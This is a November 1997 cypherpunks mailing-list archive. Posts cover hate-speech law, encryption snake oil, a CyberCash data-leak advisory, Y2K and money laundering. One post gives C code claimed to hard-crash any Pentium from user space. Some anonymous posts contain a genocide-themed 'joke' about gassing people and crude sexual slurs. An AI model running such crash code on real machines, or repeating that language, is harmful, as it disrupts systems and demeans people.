>         Does Ernst Zundel have the right to deny the Holocaust and brag
>    about it on the Net? In the U.S. the answer is unequivocally yes. But
>    in Canada, where Zundel resides, the Human Rights Commission has been
>    holding hearings on whether the "Zundelsite" violates the country's
>    hate speech laws.

  Thus, the Canadian Human Rights Commission's primary goal seems to
be to limit Canadian's access to infomation to only that which is in
alignment with the goals of those holding the reins of power.

TruthMunger
-----------

The World Wide Web and its liberating impact is being confronted with some
realities from Big Brother.  I don't know the technicalities of how these things
are done.  Would someone enlighten me (us) on how government can shut out internet
traffice from or to undesireables?

Browsing back through some article by S. Garfinkel recently led me to

Electronic Border-Control, 14 July, 1997, Wired's Synapse

http://www.hotwired.com/synapse/feature/97/28/garfinkel0a_text.html

Some of Garfinkel's ideas about quite conventional about keeping the 
bad guys out and using government as the means of putting up a
cyber barbed-wire-fence. I don't agree with his opinion about this, but it
clued me in on the possiblities regarding what might be done under the
conditions of a controlled & regulated environment.

It would seem that as band-width increases dramatically, cheaper
access and greater familiarity with the net occurs that government
(taxes, regulations, der polizei, etc.) will come with it. The prospects
of having the internet smothered under regulations is a disappointing idea.

What are the possiblities for censoring/blocking communications on a technical basis?

Sparticus






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 8 Nov 1997 06:53:43 +0800
To: cypherpunks@toad.com
Subject: FTC Making It's Move / FTC, Canada, Mexico officials launch "health claim surf day"
Message-ID: <199711072238.XAA12526@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> [From Nov 5 Natural Healthline. --Declan]
> by Michael Evers
 > The Federal Trade Commission recently joined with public health and
> consumer  protection and information agencies from the United States,
> Canada, and  Mexico to "surf" the Internet for potentially false or
> deceptive  advertising claims concerning treatments or cures for heart
> disease,  cancer, AIDS, diabetes, arthritis, and multiple sclerosis.

TruthMonger Terrestrial Translation:
The FTC, fearing loss of its dictatorial powers over the information
that citizens are allowed and not allowed to access, wants the citizens
to do its legwork for them so that they can step forward to 'save' us
all from people who use herbs instead of nuclear radiation to maintain
their health.

You remember the FTC, don't you? They are those wonderfolks who gave
us the 'mainstream media' that used the citizen's airwaves to read
us the spoon-fed government propaganda during the Gulf War.

In other news: That pesky Sadaam Hussein is acting up again, as he
always
does during US elections. Funny how the Democrats always come out of
wars with Sadaam looking bad, and CIA-backed Republicans always come
out looking good.

Note to Clinton: You're a Democrat. If you try to show-off in the Gulf,
  all of your helicopters are going to crash.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 8 Nov 1997 07:14:32 +0800
To: cypherpunks@toad.com
Subject: Re: Return of the Living Zundel, from The Netly News
Message-ID: <199711072253.XAA14047@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> http://cgi.pathfinder.com/netly/editorial/0,1012,1561,00.html
> Return of the Living Zundel
> by Chris Stamper (cstamper@pathfinder.com)
 
>         Does Ernst Zundel have the right to deny the Holocaust and brag
>    about it on the Net? In the U.S. the answer is unequivocally yes. But
>    in Canada, where Zundel resides, the Human Rights Commission has been
>    holding hearings on whether the "Zundelsite" violates the country's
>    hate speech laws. If Zundel loses the case, he'll be asked to pay
>    damages and take any offending articles off the web site.

  Canadian Shock TV!!!
Camilla Scott, competing for airtime with Jerry Springer's shows about
two-headed lady midget wrestlers in a bed full of chickens with a serial
killer who married his own daughter, recently had a show where people
who
wanted their friends/relatives to change their 'outrageous' behavior
could confront them live, on TV.
One of the guests was perturbed because his friend, a very successful 
businessman, always wore black. (Clothes of exceptional quality and
design, but _always_ black.)
Fortunately, the Canadian sheeple hooted and hollered derision at the
fellow, thus protecting us from unsavory types like the Man in Black.
Unfortunately, the fellow seemed much happier and satisfied with his
life than those doing the hooting and hollering, so chances are, he
will continue his diabolical wardrobe atrocities.

Canadians know that the answer to racism is to put the racists in 
ovens and gas them, then bury them in mass graves in Germany.

Glad I could clear that up.

MapleLeafMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 8 Nov 1997 13:43:03 +0800
To: cypherpunks@cyberpass.net
Subject: WARNING: Serious Pentium Bug
Message-ID: <48aa69ecd4b055b2bfdf92ae0dd435b9@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



There is a SERIOUS bug in all pentium CPUs. The following 
code will crash any machine running on a pentium CPU, MMX or no 
MMX, any speed, regardless of OS (crash as in instant seize, hard 
reboot the only cure):

char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };

main ()
{
       void (*f)() = x;
       f();
}

This require no special permissions to run, it works fine with
average-joe-userspace permissions. I have verified this, it works.
Demand a new CPU from Intel.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 8 Nov 1997 07:35:38 +0800
To: cypherpunks@toad.com
Subject: Beware of the 'ANY' Key / Re: Pauline Hanson's One Nation Monthly Newsletter
Message-ID: <199711072312.AAA16034@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Global Web Builders wrote:
> ----------------------------------------------------------------------------
> PLEASE NOTE: No unsolicited email is sent. If you do not want to be on the
> mailing list please say "REMOVE" in the subject line and return this message
> in the body.
> ----------------------------------------------------------------------------

That darned 'ANY' key is up to its pesky tricks again.

Long the scourge of computer neophytes everywhere, the elusive 'ANY'
key continues to be responsible for all of the evils that happen in
the computer world, at any place and point in time.
Now, the 'ANY' key, which no computer neophyte ever manages to find
when told to do so by Robert's Terribly Funky Manual, seems to be
responsible for those who 'do NOT send out unsolicited email' spamming
millions of computer users around the world.

Bleeding cunt liberal that I am, my pussy bleeds purple piss for Pauline
Hanson (whether she is wearing panties or not), for the great suffering
she must be undergoing as a result of the 'ANY' key mysteriously sending
out her message to millions of total strangers.
Perhaps the answer to the diabolical scourge of the 'ANY' key is to 
provide all computer users with a 'REMOVE' key similar to the big red
button that the US President has access to.

TruthMistress

> Dear supporter in NSW,
> 
> Pauline Hanson's One Nation continues to grow an extraordinary rate.
> 
> There are now over 200 branches of the party nationwide - this just twenty
> eight weeks after the April launch.
> 
> The interest in what we have to say and the level of our support is best
> demonstrated by comparing the recent visits of National Senator Bill O'Chee
> and Pauline Hanson to the traditional National heartland of Gympie in
> central Queensland. At their respective dinners O'Chee managed to attract
> just 12 people while Hanson attracted a full house of 400!
> 
> These are challenging times ahead for the party. With this explosive growth
> and interest the Manly head office of One Nation has come under enormous
> pressure with calls from the media, the growing need to manage the new
> branches and a number of related teething problems.
> 
> Please be patient if you find delays in One Nation responding to an inquiry.
> This is due to the workload being faced by the Manly office.
> 
> --------------------------------------------------------------------
> 
> As you will have read Pauline Hanson's One Nation will contest the
> Queensland state elections after an independent survey revealed that the
> party had, conservatively, up to 27% support in certain electorates.
> 
> If you know of someone who would make a good candidate please contact Manly
> office on (02) 9976 0283 for application forms. Please note closing date for
> nominations is December 1st.
> 
> --------------------------------------------------------------------
> 
> There have been a number of One Nation press releases during October. These
> can be viewed at:
> 
> http://www.gwb.com.au/onenation/press
> 
> --------------------------------------------------------------------
> Pauline Hanson's on-line Working Group:
> 
> There has been a tremendous response to the establishment of Pauline
> Hanson's on-line Working Group and we thank those who have become involved
> for their support.
> 
> If you would like to participate please email the following information for
> consideration.
> 
> Name, Contact details (address, phone, fax), membership number (this is a
> pre-requisite) and branch (default is Manly).
> 
> --------------------------------------------------------------------
> 
> Like any growing political organisation Pauline Hanson's One Nation needs
> your financial support. Please help NOW if you are able... Their is an
> on-line form that can be printed out and posted together with your donation at:
> 
> http://www.gwb.com.au/pledge.html
> 
> Let's get that donation-meter reading moving!
> 
> Pauline Hanson





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: semprini@theschool.com
Date: Sat, 8 Nov 1997 17:08:22 +0800
To: cypherpunks@toad.com
Subject: Totally breakable V(aporware) M(oney-making) E(ncryption)
Message-ID: <199711080901.BAA13088@k2.brigadoon.com>
MIME-Version: 1.0
Content-Type: text/plain



I just finished reading the contents of the VME web-site. I have a 
few things to say. :)

First of all the web-site blows elephant cock. You would think with 
guys smart enough to come up with "unbreakable encryption", they 
would at least be able to design a good site.

Second, they make a big deal about how fast it is and how it can 
encrypt *ONE WHOLE FAT MEGABYTE A MINUTE*! Big whoop. Hope nobody 
wants to encrypt anything useful besides teensy weensy e-mails, 
'cause you're gonna grow old before it finishes encrypting.

Third, what the hell good is it if nobody can see the source code? 
It's well known that a trademark of bad cryptographic systems are the 
ones that rely on secrecy of the algorithm. Some happy little geek in 
his college computer lab is going to spend the time needed to reverse 
engineer the program, which they claim is "impossible to reverse 
engineer". Well, they didn't say it was "impossible", but they did 
say that the code is so complicated that nobody would be able to 
understand it if they ever did reverse engineer it. Bullshit. I know a 
15 year old kid who actually has the patience to go through a few 
thousand lines of assembly code just to see what a program really 
does.

Fourth, as someone else pointed out, the description of the algorithm 
is filled with words like "revolutionary" and "super-fast", etc. The 
descriptions of how the program works are so vague and general that 
it hards to believe they even have a running program. The description 
of the encryption sounds all very pretty, but I seriously wonder if 
that's the extent of the security. Almost like having a gold plated 
sign on your door saying "Keep out!" and then leaving your door 
unlocked. 

Fifth, their "challenge" to these major corportions merely states 
that they gave IBM, MS, and Netscape this big challenge to crack the 
system, but it never actually says the companies took up the offer 
and are actively trying to crack it. How's this one? "Microsoft, 
Netscape, and IBM!! I challenge you to crack my version of the Caesar 
Cipher!" There. I can now claim that I have challenged all the big 
corps to crack my crypto scheme. Challenging a big company doesn't 
prove a thing.

Anyway, that's my rant and rave. Just as a small side note, if you 
would like to see some good examples of Madison Avenue at work then 
just visit this web-site:

http://www.meganet.com

> News report Nov 7, 97:
> 
> AT&T, Hewlett Packard, Intel Corporation, Dell Computers, and 
> many other leading computer corporations have been added to the 
> challenge list by Meganet Corporation. The challenge started 
> last week with Bill Gates, now some of his peers have an opportunity 
> to validate or discredit the bold claim that Meganet's VME 
> (Virtual Matrix Encryption) is totally unbreakable. 
> 
> Unbreakable encryption is the only answer to security 
> in our electronic world. This is graphically illustrated 
> by the recent report from the National Security Agency
> reporting the open market availability of a $10 chip that 
> can test up to 200 million keys per second. The 56-bit key, 
> government and banking standard, can be compromised in 
> twelve (12) seconds with brute force using ASIC
> (Application-specific Integrated Circuits) chips. 
> 
> Meganet has the answer with its new VME (Virtual Matrix 
> Encryption). The impenetrable VME also has extreme speed, 
> much faster than any existing program available today. 
> 
> Major computer companies are already starting discussions 
> to acquire the rights to market this incredible new data 
> encryption system. More information about this
> exciting new technology can be found at: www.meganet.com
> 
> ----------
> 
> Hmm, wonder if it has impenetrable GAK and CAK options.
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Colin Plumb <colin@nyx.net>
Date: Sun, 9 Nov 1997 01:00:24 +0800
To: shamrock@cypherpunks.to
Subject: Re:  Bay Area Cypherpunks meeting announcement
Message-ID: <199711080958.CAA05227@nyx10.nyx.net>
MIME-Version: 1.0
Content-Type: text/plain



Additionally, there will be a release of the PGP 5.0 Unix Specific
Source Code Update at the public meeting.
-- 
	-Colin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Sat, 8 Nov 1997 11:47:20 +0800
To: andrea.liles@nike.com
Subject: Bay Area Cypherpunks meeting announcement
Message-ID: <Pine.BSF.3.96.971108044654.10403A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Tomorrow's Bay Area Cypherpunks meeting will be held at the offices of
C2Net Software in Oakland.

Agenda:
o Andrea Liles will present some cool new ideas about virtual CA's.

o Lucky Green will demonstrate the Dumb Mouse, a universal chipcard
reader, and associated analysis/manipulation software. If you are at all
interested in smartcards, especially smartcards for crypto and
authentication purposes, you don't want to miss this one. If there aren't
too many attendees, we will host a workshop. Attendees are encouraged to
bring any smartcards in their possession and discover what is /really/
happening on the card. The Cypherpunks Smartcard Developers Association
will accept smartcard donations after the workshop.

o Cypherpunks Tonga will announce the release of BSAFEeay, a BSAFE 3.0 API
compatible crypto library based on SSLeay.

o Cypherpunks Tonga will then combine BSAFEeay with the freeware SETref
(which requires BSAFE for the underlying crypto) and demonstrate the first
ever globally available *freeware* SET solution.

Location:
C2Net Software
1440 Broadway
7th Floor
Oakland, CA

Date/time: 
Saturday, 11/8, noon

Directions:
By BART:
Exit the system at 12th Street Oakland. Walk north on Broadway one block.
1440 is on the right side of the street.

By car:
http://www.mapquest.com/
Choose "Trip Quest" from the menu.

- -- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"

-----BEGIN PGP SIGNATURE-----
Version: PGP 5.0i
Charset: noconv

iQA/AwUBNGPhYvXUPTw3WtkkEQKztACeIQwx4voyUVIP6u1HmosCWklX7osAnROD
TTJn3K2jCIrKUQtOc5Z3oW1P
=byR/
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Sat, 8 Nov 1997 14:20:17 +0800
To: Blanc <blancw@cnw.com>
Subject: Re: Bay Area Cypherpunks meeting announcement
In-Reply-To: <3.0.32.19971107210508.006f972c@cnw.com>
Message-ID: <Pine.BSF.3.96.971108071147.10551B-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 7 Nov 1997, Blanc wrote:

> Lucky Green wrote:
> 
> >o Cypherpunks Tonga will announce [...]
> >
> >o Cypherpunks Tonga will then combine [...]
> ........................................................
> 
> What is Cypherpunks Tonga?

See https://www.cypherpunks.to/

-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Sun, 9 Nov 1997 23:29:32 +0800
To: cypherpunks@cyberpass.net
Subject: Re: WARNING: Serious Pentium Bug
Message-ID: <199711091525.JAA10950@dfw-ix16.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




Anonymous <anon@anon.efga.org> wrote:
>There is a SERIOUS bug in all pentium CPUs. The following 
>code will crash any machine running on a pentium CPU, MMX or no 
>MMX, any speed, regardless of OS (crash as in instant seize, hard 
>reboot the only cure):
>
>char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };
>
>main ()
>{
>       void (*f)() = x;
>       f();
>}
>
>This require no special permissions to run, it works fine with
>average-joe-userspace permissions. I have verified this, it works.
>Demand a new CPU from Intel.

This didn't crash my Pentium.  Hoax?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Sun, 9 Nov 1997 03:06:33 +0800
To: cypherpunks@cyberpass.net
Subject: New GAO y2k reports
Message-ID: <v03102802b08a3cb3fc04@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/enriched

 The following General Accounting Reports recently became available:

-  Year 2000 Computing Crisis: National Credit Union
Administration's Efforts to Ensure Credit Union Systems Are Year
2000 Compliant. T-AIMD-98-20. 14 pp. October 22, 1997. 
http://www.gao.gov/new.items/ai98020t.pdf

NCUA admits that they are in deep do-do.

"... (1) current agency efforts to determine industrywide compliance are
behind the generally accepted schedule for achieving Year 2000
compliance, and, consequently, NCUA does not yet have a complete picture
of where credit unions stand individually or as an industry, (2) the agency
lacks a formal, documented contingency plan in case credit unions do not
become compliant in time or have other problems, (3) credit union
internal auditors may not be thoroughly addressing Year 2000 issues as
part of their work, and (4) NCUA does not have enough technical capability
to conduct Year 2000 and other examinations in complex systems areas."

"... the problem could lead to numerous problems when calculations
requiring the use of dates are performed, such as calculating interest,
calculating truth-in-lending or truth-in-savings disclosures, and
determining amortization schedules. Moreover, automated teller machines
may also assume that all bank cards are expired due to this problem. In
addition, errors caused by Year 2000 miscalculations may expose
institutions and data centers to financial liability and risk of damage to
customer confidence. Other systems important to the day-to-day business
of credit unions may be affected as well. For example, telephone systems
could shut down as can vaults, security and alarm systems, elevators, and
fax machines."

-  Social Security Administration: Significant Progress Made In Year
2000 Effort, But Key Risks Remain. AIMD-98-6. 17 pp. plus 2
appendices (6 pp.) October 22, 1997. 
http://www.gao.gov/new.items/ai98006.pdf

The SSA reports that about 80% of its core code has been converted and tested and is confident of completion by January 1999, but that significant y2k exposure remains due to possible contamination from non-compliant sources of information (e.g., state disability and other federal agencies).

--Steve





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Sat, 8 Nov 1997 23:56:03 +0800
To: Anonymous <remailer@htp.org>
Subject: Re: Forging your return address.
In-Reply-To: <19971105012501.13508.qmail@nsm.htp.org>
Message-ID: <Pine.BSF.3.91.971108092656.5770A-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain



And I thought Toto was Moe!

On 5 Nov 1997, Anonymous wrote:

> >Sympatico Admin wrote:
> >> Hi Larry,
>       ^^^^^
> Eek!  The snakes of Medusa?!!
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 8 Nov 1997 23:32:29 +0800
To: cypherpunks@cyberpass.net
Subject: Major security flaw in Cybercash 2.1.2 (fwd)
Message-ID: <v03110703b08a352fa207@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


From: Bob Antia <antia@leftbank.com>
Subject: Major security flaw in Cybercash 2.1.2 (fwd)
To: mjbauer@leftbank.com (Michael Bauer), rah@shipwright.com
Date: Sat, 8 Nov 1997 10:04:14 -0500 (EST)
MIME-Version: 1.0


Approved-By: aleph1@UNDERGROUND.ORG
Message-ID: <f58bccfc52aba91d0973f9bf33160ddd@anon.efga.org>
Date: 	Fri, 7 Nov 1997 22:54:16 -0500
Reply-To: Anonymous <anon@ANON.EFGA.ORG>
Sender: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
Comments:     This message was remailed by a FREE automated remailing service.
              For additional information on this service,
              send a message with the subject "remailer-help" to
              remailer@anon.efga.org. The body of the message will be
              discarded. To report abuse,
              contact the operator at admin@anon.efga.org.  Headers below this
              point were inserted by the original sender.
From: Anonymous <anon@ANON.EFGA.ORG>
Subject:      Major security flaw in Cybercash 2.1.2
To: BUGTRAQ@NETSPACE.ORG

CyberCash v. 2.1.2 has a major security flaw that causes all credit
card information processed by the server to be logged in a file with
world-readable permissions.  This security flaw exists in the default
CyberCash installation and configuration.

The flaw is a result of not being able to turn off debugging.  Setting
the "DEBUG" flag to "0" in the configuration files simply has no
effect on the operation of the server.

In CyberCash's server, when the "DEBUG" flag is on, the contents of
all credit card transactions are written to a log file (named
"Debug.log" by default).

The easiest workaround I've found is to simply delete the existing
Debug.log file.  In my experience with the Solaris release, the
CyberCash software does not create this file at start time when the
DEBUG flag is set to 0.

The inability to turn off debugging is noted on CyberCash's web site
under "Known Limitations".  The fact that credit card numbers are
stored in the clear, in a world readable file, is not.

--jet

-b

Bob Antia                                           antia@leftbank.com
The Left Bank Operation, Inc.                       http://www.leftbank.com
TCP/IP Internetworking                              LAN/WAN/NT/UNIX Admin
PGP fingerprint          9B 70 FF 2D 03 CC 5F C1  3E 29 6E D4 16 79 44 A8

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 9 Nov 1997 02:34:12 +0800
To: cypherpunks@cyberpass.net
Subject: E-Peso's for tractors - McCaffrey on banking
Message-ID: <v0311070eb08a5388bb6a@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


From: "Blair Anderson" <blair@technologist.com>
To: "dcsb@ai.mit.edu" <dcsb@ai.mit.edu>
Date: Sun, 09 Nov 97 01:53:59 +1300
Priority: Normal
MIME-Version: 1.0
Subject: E-Peso's for tractors - McCaffrey on banking
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: "Blair Anderson" <blair@technologist.com>

06:24 p.m Nov 05, 1997 Eastern

         U.S. drug czar appeals to banks to track laundering

         By Anthony Boadle

         WASHINGTON (Reuters) - Bankers, watch those ``smurf''
         accounts.

         That was the message drug enforcement authorities gave
         the American Bankers Association and the American Bar
         Association at their annual money laundering conference
         Wednesday.

         Any innocent-looking person could be depositing a drug
         baron's cash parceled into amounts smaller that the
         $10,000 reporting threshhold to avoid suspicion, so get
         to know your customer, they warned.

         Traffickers hire individuals or ``smurfs'' who open
         small accounts at U.S. banks in their own or fictitious
         names.

         Once in the system, drug money becomes very hard to
         trace, White House drug policy director Gen. Barry
         McCaffrey said.

         Americans spend $49 billion a year on illegal drugs and
         much of that cash has to go through banks and
         corporations to get back to the Colombian cartels that
         ship cocaine and heroin to the the United States, he
         said.

         McCaffrey said drug traffickers were becoming
         increasingly sophisticated in laundering their proceeds,
         resorting to high tech communication encryption and
         ``cybercash'' transactions over the Internet.

         ``We are not going to find dumb guys stumbling into bank
         branches in New York City with cardboard boxes full of
         $20 bills that test positive for cocaine,'' he said.

         ``We are losing contact with the enemy,'' the general
         said. ''The government cannot follow laundering by
         itself. You are going to have to help.''

         McCaffrey said the drug trade was moving into new areas
         such as the securities industry to launder its profits.

         Treasury Department Undersecretary for Enforcement,
         Raymond Kelly, said Colombian cartels were using a black
         market peso brokering system to send home their profits.

         Cartels sell their dollars at a discount to Colombian
         businessmen who need to buy goods in the United States.
         The dollars go to pay the U.S. manufacturer or exporter.
         The pesos never leave Colombia and end up in the drug
         baron's account.

         A hooded Colombian woman testified in Congress last
         month that she had laundered money through large U.S.
         banks and corporations unwittingly used by black market
         peso brokers.

         She cited the case of drug dollars going to pay for a
         tractor for a Colombian farmer.

         Keely, a former New York City police commissioner,
         warned that money laudering was corroding financial
         institutions.

         ``It is the source and the product of a burgeoning
         global parallel trading system that serves the emerging
         criminal holding companies,'' he told the bankers and
         lawyers.

         Kelly said the Clinton administration has worked to
         lessen the burden of the Suspicious Activity Reports
         that banks are obliged to file under the Banking Secrecy
         Act.

         The banking industry complained it had to file 12
         million such reports in 1996, a time consuming and
         costly activity.

         New regulations exempts banks from reporting on certain
         customers, such as corporations listed on stock markets
         and their subsidiaries.

         But a new set of rules exempting additional businesses
         has caused an uproar among bankers because they would
         have to track the daily currency operations of these
         businesses for one year and project their annual
         currency needs.

         Copyright 1997 Reuters Limited. All rights reserved.


Blair Anderson  (Blair@technologist.com)

International Consultant in Electronic Commerce,
Encryption and Electronic Rights Management

   "Techno Junk and Grey Matter"  (HTTP://WWW.NOW.CO.NZ [moving servers,
currently inactive])
   50 Wainoni Road, Christchurch, New Zealand

          phone 64 3 3894065
          fax     64 3 3894065

Member 	Digital Commerce Society of Boston

---------------------------- Caught in the Net for 25 years
----------------------------



For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 9 Nov 1997 02:35:47 +0800
To: cryptography@c2.net
Subject: Re: Hughes Markets? (finally some stimulating debate on dcsb)
Message-ID: <v03110710b08a5430e2ef@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: hutchinson@click.ncri.com
Mime-Version: 1.0
Date: Sat, 8 Nov 1997 09:28:21 -0500
To: "R. Jason Cronk" <listmanager@orange.redmans.com>
From: hutchinson@ncri.com (Art Hutchinson)
Subject: Re: Hughes Markets? (finally some stimulating debate on dcsb)
Cc: dcsb@ai.mit.edu
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: hutchinson@ncri.com (Art Hutchinson)

I wrote:

>>Whoa!  Hang on here.  Sure, watermarks will tell you who information
>>was stolen from, but they're just a stalking horse... a weak second cousin
>>to *persistent* content control technologies (such as IBM's Cryptolopes
>>and Intertrust's Digiboxes).  These allow rightsholders to manage a wide
>
><SNIP>
>
>>They allow rightsholders, if they so choose, to *continue* being rights-
>>holders in a highly networked, digital world, and in a wide range of new

To which R. Jason Cronk replied:

>"if they so choose"  and here is where I submit the two camps divide.

Yep.  I couldn't agree more.  There will be at *least* two, (and probably
more like 2000) 'camps'.  And here is where I think we diverge....

>Sure, you can decide to try to hold on to the rights, but it is going to be
>market suicide.  Your best bet is to sell it all off, get what you can for
>it and do it again. In other words, a recursive auction market.

With more sophisticated tools for rights management, the market contest
can  move to another level, with content business models *themselves*
vying for attention.  Recursive auctions are merely one of these models.

They may make perfect sense for the kind of content that is going to
decline in value over time anyway (news, for example).  Not all content
works this way though.  Recursive auction markets are exciting because
for the most part, they haven't been possible in 'copyright' industries
until recently.  Its easy to say that they will be more important than they
are today.  They will.  But to say that they are fore-ordained as the only
way for creators to get compensated is much too narrow.

This view would only make sense if detaching copies from usage controls
were easy.  Today it is, and there is a common misconception that this will
continue.  But it won't.  Cryptographers especially should understand this.

The same base technology that makes it extremely
difficult to mint one's own digital coins in someone else's currency will
make it extremely difficult to use someone else's digital content without
complying with their controls (including payment).  It is inconsistent to
say that digital money can have persistent value and digital content cannot.
Both are information.  Both based on a common faith in a 'brand': either
the U.S. Treasury or Disney.  Same idea.

Best,

- Art


Art Hutchinson                                       hutchinson@ncri.com
Northeast Consulting Resources, Inc.     phone: (617) 654-0635
One Liberty Square                                 fax: (617) 654-0654
Boston, MA 02160                                 www.ncri.com
------------------------------------------------------------------------------
"Working at the intersection of business and IT strategy to
help organizations embrace electronic commerce opportunities"



For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 9 Nov 1997 02:34:27 +0800
To: cryptography@c2.net
Subject: Content controls
Message-ID: <v03110712b08a5490f95c@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: hutchinson@click.ncri.com
Mime-Version: 1.0
Date: Sat, 8 Nov 1997 09:29:04 -0500
To: Robert Hettinga <rah@shipwright.com>
From: hutchinson@ncri.com (Art Hutchinson)
Subject: Content controls
Cc: whgiii@invweb.net, dcsb@ai.mit.edu
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: hutchinson@ncri.com (Art Hutchinson)

>>>A whole bunch of people are now talking about these cash-settled recursive
>>>auction processes, and they're a direct, and now obvious, consequence of
>>>bearer (or at least instant) settlement markets for information on geodesic
>>>networks. When you add anonymity to the transaction, you pretty much have
>>>the final straw for "rights" tracking. Watermarks just tell you who the
>>>information was stolen from, for instance. So, one more industrial
>>>information process bites the dust.
>
>>Whoa!  Hang on here.  Sure, watermarks will tell you who information was
>>stolen from, but they're just a stalking horse... a weak second cousin to
>>*persistent* content control technologies (such as IBM's Cryptolopes and
>>Intertrust's Digiboxes).  These allow rightsholders to manage a wide
>>range of parameters (including price, usage context, and any other
>>variable for which you can imagine having a certificate).  Whats
>>fundamentally different about what are generically referred to as secure
>>envelopes, is that they can maintain controls *indefinitely*
>>(persistence), across an un-
>>known, ad hoc, web of distribution over which one otherwise has no
>>control.  And yes, this can all work even in a completely disconnected
>>environment (laptop at 35,000 feet).
>
>>They allow rightsholders, if they so choose, to *continue* being rights-
>>holders in a highly networked, digital world, and in a wide range of new
>>ways, based on entirely new (or old) business models, that take advantage
>>of rich/elaborate conditions for usage (e.g. you can view this picture
>>anonymously, but it will cost you 2X as much, and you can only get it at
>>low resolution, and you can't view it at all unless you can prove that
>>you don't live in the Middle East).  No certificate for these conditions?
>>Sorry, no content.
>
>>They are based the same basic stuff (public key cryptography of course)
>>that *can* fuel wild anarchic visions of anonymous exchange.  ;)
>
>>But they aren't at all deterministic of any particular economic model.
>
>Well how exactly does one prevent data from being stolen once it has been
>unlocked? I pay my 2X to view the picture anonymously and now I copy it
>save it and distribute it worldwide. I fail to see how any
>encryption/watermark scheme can prevent me from doing so.

The control technologies to which I referred earlier turn the lock/unlock
idea into far more than a binary choice.  This is what I meant by
"persistence".  The content cannot be used without its accompanying
control set (which again, *might* include payment).  Part of the control
set I may impose on anonymous viewers could include preventing them from
copying or saving the content directly in digital form.

This is counter-intuitive to those of us who are used to having cut/paste
available at our fingertips in most applications, but its relatively trivial
to disable these functions on a file by file basis.  Alternatively, I might
